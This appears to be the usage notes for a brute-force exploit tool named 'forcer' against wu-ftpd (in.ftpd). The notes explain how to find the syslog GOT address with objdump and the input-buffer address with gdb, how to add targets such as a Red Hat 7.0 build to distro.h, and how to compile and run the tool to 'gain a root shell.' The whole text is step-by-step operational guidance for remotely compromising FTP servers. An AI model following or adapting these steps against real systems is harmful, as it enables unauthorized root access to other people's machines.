gotaddr = address to overwrite
$ objdump -R in.ftpd|grep syslog

inpbuf = address of cbuf (the input buffer)
To find this address:

$ /usr/sbin/in.ftpd -p 6667 -P 6668 -l -A -S
$ nc localhost 6667&
$ ps -aux|grep ftpd
$ gdb /usr/sbin/in.ftpd <pid of ftpd>
(gdb) backtrace
(something like this will come up

#0  0x40164d14 in ?? ()
#1  0x400fe74d in ?? ()
#2  0x40100fd9 in ?? ()
#3  0x4010000f in ?? ()
#4  0x400fb463 in ?? ()
#5  0x08058f78 in strcpy ()  
#6  0x080591c4 in strcpy ()
#7  0x080564a5 in strcpy ()
#8  0x0804c3e5 in strcpy ()
#9  0x4009f777 in ?? ()

The 1st line it says 'strcpy ()' on is the one to use in the frame
command. In this case it is #5, so we use frame 5.)

(gdb) frame 5
#5  0x08058f78 in strcpy ()
(gdb) x/x $ebp + 8
0xbfffdfd0:     0x08084600
(gdb) quit
$ killall in.ftpd
$ 

The value to use for inpbuf would be 0x08084600

Edit distro.h to make a new system.
Fields are:
"name to use in the list displayed by the program",
gotaddr    ,inpbuf     ,slow?   ,

"RH7.0 -  2.6.1(1) Wed Aug 9 05:54:50 EDT 2000",
0x08070cb0,0x8084600,   0,

name is an identifier string.
slow should be set to 1 if the target uses inetd to launch wuftpd, 
and 0 if not.

To compile.
$ make both

$ ./forcer [type] [address]
This will attempt to brute force the daemon. 

If it succeeds, then you can run

$ ./forcer magic
To gain a root shell.
